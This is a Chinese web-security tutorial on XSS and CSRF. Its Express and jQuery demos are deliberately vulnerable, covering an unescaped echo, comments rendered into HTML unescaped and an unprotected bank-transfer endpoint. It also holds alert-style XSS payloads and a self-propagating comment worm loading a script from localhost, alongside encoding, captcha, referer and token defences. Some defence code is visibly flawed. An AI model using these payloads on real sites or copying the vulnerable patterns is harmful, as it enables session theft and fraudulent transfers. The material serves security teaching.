1. XSS(Cross-Site Script) #

  1. 黑客往网页里注入恶意脚本代码
  2. 当用户访问时获取到包含恶意代码的网页
  3. 通过恶意脚本,黑客可以获取和控制用户信息

1.1 反射型(非持久型)XSS #

诱导用户点击恶意链接来造成一次性攻击

  1. 黑客把带有恶意脚本代码参数的URL地址发送给用户
  2. 用户点击此链接
  3. 服务器端获取请求参数并且直接使用,服务器反射回结果页面
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();
const bodyParser = require('body-parser');
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
app.use(express.static(path.resolve(__dirname, 'public')));
//http://localhost:3000/list?category=%3Cscript%3Ealert(1)%3C/script%3E
app.get('/list', function (req, res) {
    let { category } = req.query;
    res.header('Content-Type', 'text/html;charset=utf-8');
    res.send(`你输入的分类是: ${category}`);
});
app.listen(3000, () => console.log('The server is starting at port 3000'));

1.2 存储型(持久型)XSS #

黑客将代码存储到漏洞服务器中,用户浏览相关页面发起攻击

  1. 黑客将恶意脚本代码上传或存储到漏洞服务器
  2. 服务器把恶意脚本保存到服务器
  3. 当正常客户访问服务器时,服务器会读取恶意数据并且直接使用
  4. 服务器会返回含有恶意脚本的页面
类型 反射型 存储型
持久性 非持久 持久化(存储在服务器)
触发时机 需要用户点击 不需要用户交互也可以触发
危害 危害较小 危害更大

public\comment-list.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>评论列表</title>
    <link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css">
</head>

<body>
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <div class="panel panel-default">
                    <div class="panel-heading">
                        <h2>评论列表</h2>
                    </div>
                    <div class="panel-body">
                        <ul class="list-group comment-list">

                        </ul>
                    </div>
                    <div class="panel-footer">
                        <div class="row">
                            <div class="col-md-12">
                                <form onsubmit="addComment(event)">
                                    <div class="form-group">
                                        <label for="username">用户名</label>
                                        <input id="username" class="form-control" placeholder="用户名">
                                    </div>
                                    <div class="form-group">
                                        <label for="content">内容</label>
                                        <input id="content" class="form-control" placeholder="请输入评论">
                                    </div>
                                    <div class="form-group">
                                        <input type="submit" class="btn btn-primary">
                                    </div>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    <script>
        function getCommentList() {
            $.get('/api/comments').then(comments => {
                let html = comments.map(item => (
                    `
                <li class="list-group-item">
                        <div class="media">
                            <div class="media-left">
                                <a href="#">
                                   <img style="border-radius:5px" class="media-object" src="${item.avatar}" >
                                </a>
                            </div>
                            <div class="media-body">
                                <h4 class="media-heading">用户名: ${item.username}</h4>
                                <p>内容: ${item.content}</p>
                                <p>时间: ${item.time}</p>
                            </div>
                        </div>
                </li>
                `
                )).join('');
                $('.comment-list').html(html);
            });
        }
        getCommentList();
        function addComment(event) {
            event.preventDefault();
            let username = $('#username').val();
            let content = $('#content').val();
            if (!content) return;
            $.post('/api/comments', { username, content }).then(data => {
                getCommentList();
                $('#content').val('');
            });
        }
    </script>
</body>

</html>

server.js

let comments = [
    { avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a', username: '张三', content: '今天天气不错', time: new Date().toLocaleString() },
    { avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a', username: '李四', content: '是的', time: new Date().toLocaleString() }
];
app.get('/api/comments', function (req, res) {
    res.json(comments);
});
app.post('/api/comments', function (req, res) {
    let comment = req.body;
    comments.push({
        ...comment,
        avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a',
        time: new Date().toLocaleString()
    });
    res.json(comments);
});

1.3 DOM-Based型XSS #

不需要服务器端支持,是由于DOM结构修改导致的,基于浏览器DOM解析的攻击

  1. 用户打开带有恶意的链接
  2. 浏览器在DOM解析的时候直接使用恶意数据
  3. 用户中招
  4. 常见的触发场景就是在修改innerHTML outerHTML document.write的时候
<body>
    <h1>输入链接地址,然后点击按钮</h1>
    <div id="content"></div>
    <input type="text" id="link">
    <button onclick="setup()">设置</button>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    <script>
        function setup() {
            // " onclick=alert(1) //
            let html = `<a href="${$('#link').val()}">点我</a>`;
            $('#content').html(html);
        }
    </script>
</body>

1.4 payload #

实现XSS攻击的恶意脚本被称为 XSS payload

1.5 如何防御XSS #

login.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>登录</title>
    <link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css">
</head>

<body>
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <form onsubmit="login(event)">
                    <div class="form-group">
                        <label for="username">用户名</label>
                        <input id="username" class="form-control" placeholder="用户名">
                    </div>
                    <div class="form-group">
                        <label for="password">密码</label>
                        <input id="password" class="form-control" placeholder="密码">
                    </div>
                    <div class="form-group">
                        <input type="submit" class="btn btn-primary" value="登录">
                    </div>
                </form>
            </div>
        </div>
    </div>
    </div>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    <script>
        function login() {
            let username = $('#username').val();
            let password = $('#password').val();
            $.post('/api/login', { username, password }).then(data => {
                if (data.code == 0) {
                    location.href = `/user.html?username=${username}`;
                }
                $('#username').val('');
                $('#password').val('');
            });
        }
    </script>
</body>

</html>

user.html

<script>
        document.write(document.cookie);
    </script>

server.js

let users = [{ username: 'a', password: '123456', avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a' }, { username: 'b', password: '123456', avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a' }];
let userSessions = {};
app.post('/api/login', function (req, res) {
    let body = req.body;
    let user;
    for (let i = 0; i < users.length; i++) {
        if (body.username == users[i].username && body.password == users[i].password) {
            user = users[i];
            break;
        }
    }
    if (user) {
        const sessionId = 'user_' + Math.random() * 1000;
        res.cookie('username', user.username);
        res.cookie('sessionId', sessionId, { httpOnly: true });
        userSessions[sessionId] = {};
        res.json({ code: 0, user });
    } else {
        res.json({ code: 1, data: '没有该用户' });
    }
});

1.6 Web相关编码和转义 #

1.6.1 URL 编码 #

1.6.2 HTML 编码 #

在 HTML 中,某些字符是预留的,比如不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities) HTML 编码分为:

在 HTML 进制编码中其中的数字则是对应字符的 unicode 字符编码。 比如单引号的 unicode 字符编码是27,则单引号可以被编码为'

function htmlEncode(str) {
  return String(str)
    .replace(/&/g, '&amp;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;');
}

完整实体

1.6.3 Javascript 转义 #

avaScript 中有些字符有特殊用途,如果字符串中想使用这些字符原来的含义,需要使用反斜杠对这些特殊符号进行转义。我们称之为 Javascript编码

var str = "zfpx"";
var str = "zfpx\"";

1.7 输入检查 #

1.8.3 URL解析环境 #

使用之前要做urlencode()

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>

<body>
    <div id="intag"></div>
    <div id="tagAttr"></div>
    <div id="inEvent"></div>
    <div id="inLink"></div>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    <script>
        function htmlEncode(str) {
            return String(str)
                .replace(/&/g, '&amp;')
                .replace(/"/g, '&quot;')
                .replace(/'/g, '&#39;')
                .replace(/</g, '&lt;')
                .replace(/>/g, '&gt;');
        }

        let data = {
            desc: "<script>alert(1);<\/script>",
            clsName: '"><script>alert(2);<\/script>',
            url: '"><script>alert(3);<\/script>',
            id: '"><script>alert(4);<\/script>',
        }
        $('#intag').html(htmlEncode(data.desc));
        $('#tagAttr').html(`<a class = "${htmlEncode(data.clsName)}">标签属性中</a>`);

        $('#inEvent').html(`<a href="#" onclick = "go('${data.url}')">事件参数</a>`);
        $('#inLink').html(`<a href="http://localhost:3000/articles/${encodeURI(data.id)}">link</a>`);
        function go(url) {
            console.log(url);
        }

        //使用“\”对特殊字符进行转义,除数字字母之外,小于127使用16进制“\xHH”的方式进行编码,大于用unicode(非常严格模式)。
        var JavaScriptEncode = function (str) {
            var hex = new Array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');
            function changeTo16Hex(charCode) {
                return "\\x" + charCode.charCodeAt(0).toString(16);
            }

            function encodeCharx(original) {
                var found = true;
                var thecharchar = original.charAt(0);
                var thechar = original.charCodeAt(0);
                switch (thecharchar) {
                    case '\n': return "\\n"; break; //newline
                    case '\r': return "\\r"; break; //Carriage return
                    case '\'': return "\\'"; break;
                    case '"': return "\\\""; break;
                    case '\&': return "\\&"; break;
                    case '\\': return "\\\\"; break;
                    case '\t': return "\\t"; break;
                    case '\b': return "\\b"; break;
                    case '\f': return "\\f"; break;
                    case '/': return "\\x2F"; break;
                    case '<': return "\\x3C"; break;
                    case '>': return "\\x3E"; break;
                    default:
                        found = false;
                        break;
                }
                if (!found) {
                    if (thechar > 47 && thechar < 58) { //数字
                        return original;
                    }

                    if (thechar > 64 && thechar < 91) { //大写字母
                        return original;
                    }

                    if (thechar > 96 && thechar < 123) { //小写字母
                        return original;
                    }

                    if (thechar > 127) { //大于127用unicode
                        var c = thechar;
                        var a4 = c % 16;
                        c = Math.floor(c / 16);
                        var a3 = c % 16;
                        c = Math.floor(c / 16);
                        var a2 = c % 16;
                        c = Math.floor(c / 16);
                        var a1 = c % 16;
                        return "\\u" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + "";
                    }
                    else {
                        return changeTo16Hex(original);
                    }

                }
            }

            var preescape = str;
            var escaped = "";
            var i = 0;
            for (i = 0; i < preescape.length; i++) {
                escaped = escaped + encodeCharx(preescape.charAt(i));
            }
            return escaped;
        }
    </script>
</body>

</html>

2. CSRF #

2.1 跨站请求伪造 #

Cross Site Request Forgery 跨站请求伪造

  1. 用户A登录银行网站,登录成功后会设置cookie
  2. 黑客诱导用户A登录到黑客的站点,然后会返回一个页面
  3. 用户访问这个页面时,这个页面会伪造一个转账请求到银行网站

bank.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>我的银行</title>
    <link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css">
</head>

<body>
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <div class="panel panel-default">
                    <div class="panel-heading">
                        <p>用户名
                            <span id="username"></span>
                        </p>
                        <p>余额
                            <span id="money"></span>
                        </p>
                    </div>
                    <div class="panel-body">
                        <form onsubmit="transfer(event)">
                            <div class="form-group">
                                <label for="target">转账用户</label>
                                <input id="target" class="form-control" placeholder="请输入的用户名">
                            </div>
                            <div class="form-group">
                                <label for="amount">金额</label>
                                <input id="amount" class="form-control" placeholder="请输入转账的金额">
                            </div>
                            <div class="form-group">
                                <input type="submit" class="btn btn-primary">
                            </div>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    <script>
        $(function () {
            $.get('/api/user').then(data => {
                console.log(data);
                console.log(data.user.username);
                if (data.code == 0) {
                    $('#username').html(data.user.username);
                    $('#money').html(data.user.money);
                } else {
                    alert('用户未登录');
                    location.href = '/login.html';
                }
            });
        });
        function transfer(event) {
            event.preventDefault();
            let target = $('#target').val();
            let amount = $('#amount').val();
            $.post('/api/transfer', { target, amount }).then(data => {
                if (data.code == 0) {
                    alert('转账成功');
                    location.reload();
                } else {
                    alert('用户未登录');
                    location.href = '/login.html';
                }
            });
        }
    </script>
</body>

</html>
app.get('/api/user', function (req, res) {
    let { username } = userSessions[req.cookies.sessionId];
    if (username) {
        let user;
        for (let i = 0; i < users.length; i++) {
            if (username == users[i].username) {
                user = users[i];
                break;
            }
        }
        res.json({ code: 0, user });
    } else {
        res.json({ code: 1, error: '用户没有登录' });
    }
});

app.post('/api/transfer', function (req, res) {
    let { target, amount } = req.body;
    amount = isNaN(amount) ? 0 : Number(amount);
    let { username } = userSessions[req.cookies.sessionId];
    if (username) {
        let user;
        for (let i = 0; i < users.length; i++) {
            if (username == users[i].username) {
                users[i].money -= amount;
            } else if (target == users[i].username) {
                users[i].money += amount;
            }
        }
        res.json({ code: 0 });
    } else {
        res.json({ code: 1, error: '用户没有登录' });
    }
})

2.2 防御 #

2.2.1 验证码 #

server.js

var svgCaptcha = require('svg-captcha');
app.get('/api/captcha', function (req, res) {
    let session = userSessions[req.cookies.sessionId];
    if (session) {
        var codeConfig = {
            size: 5,// 验证码长度
            ignoreChars: '0o1i', // 验证码字符中排除 0o1i
            noise: 2, // 干扰线条的数量
            height: 44
        }
        var captcha = svgCaptcha.create(codeConfig);
        session.captcha = captcha.text.toLowerCase(); //存session用于验证接口获取文字码
        res.send({ code: 0, captcha: captcha.data });
    } else {
        res.json({ code: 1, data: '没有该用户' });
    }
});

bank.html

<div class="form-group">
    <label for="captcha" id="captcha"></label>
    <input id="captcha" class="form-control" placeholder="请输入验证码">
</div>


 $.get('/api/captcha').then(data => {
    if (data.code == 0) {
        $('#captcha').html(data.captcha);
    } else {
        alert('用户未登录');
        location.href = '/login.html';
    }
});

2.2.2 refer 验证 #

 let referer = req.headers['referer'];
    if (/^https?:\/\/localhost:3000/.test(referer)) {

    } else {
        res.json({ code: 1, error: 'referer不正确' });
    }

2.2.3 token验证 #

bank.html

function getClientToken() {
            let result = document.cookie.match(/token=([^;]+)/);
            return result ? result[1] : '';
        }
function transfer(event) {
            event.preventDefault();
            let target = $('#target').val();
            let amount = $('#amount').val();
            let captcha = $('#captcha').val();
            $.post('/api/transfer', {
                target,
                amount,
                captcha,
                clientToken: getClientToken()
            }).then(data => {
                if (data.code == 0) {
                    alert('转账成功');
                    location.reload();
                } else {
                    alert('用户未登录');
                    location.href = '/login.html';
                }
            });
}

server.js

app.post('/api/transfer', function (req, res) {
    // let referer = req.headers['referer'];
    //if (/^https?:\/\/localhost:3000/.test(referer)) {
    let { target, amount, clientToken, captcha } = req.body;
    amount = isNaN(amount) ? 0 : Number(amount);
    let { username, token } = userSessions[req.cookies.sessionId];
    if (username) {
        if (clientToken == token) {
            let user;
            for (let i = 0; i < users.length; i++) {
                if (username == users[i].username) {
                    users[i].money -= amount;
                } else if (target == users[i].username) {
                    users[i].money += amount;
                }
            }
            res.json({ code: 0 });
        } else {
            res.json({ code: 1, error: '违法操作' });
        }
    } else {
        res.json({ code: 1, error: '用户没有登录' });
    }
    //} else {
    res.json({ code: 1, error: 'referer不正确' });
    //}
})

2.2.4 xss+csrf(蠕虫) #

不断传播的xss+csrf攻击 worm.js

const attack = '<script src="http://localhost:3001/worm.js"></script>';
$.post('/api/comments', { content: 'haha' + attack });

3. DDOS攻击 #

分布式拒绝服务(Distribute Denial Of Service)

4. HTTP劫持 #

参考 #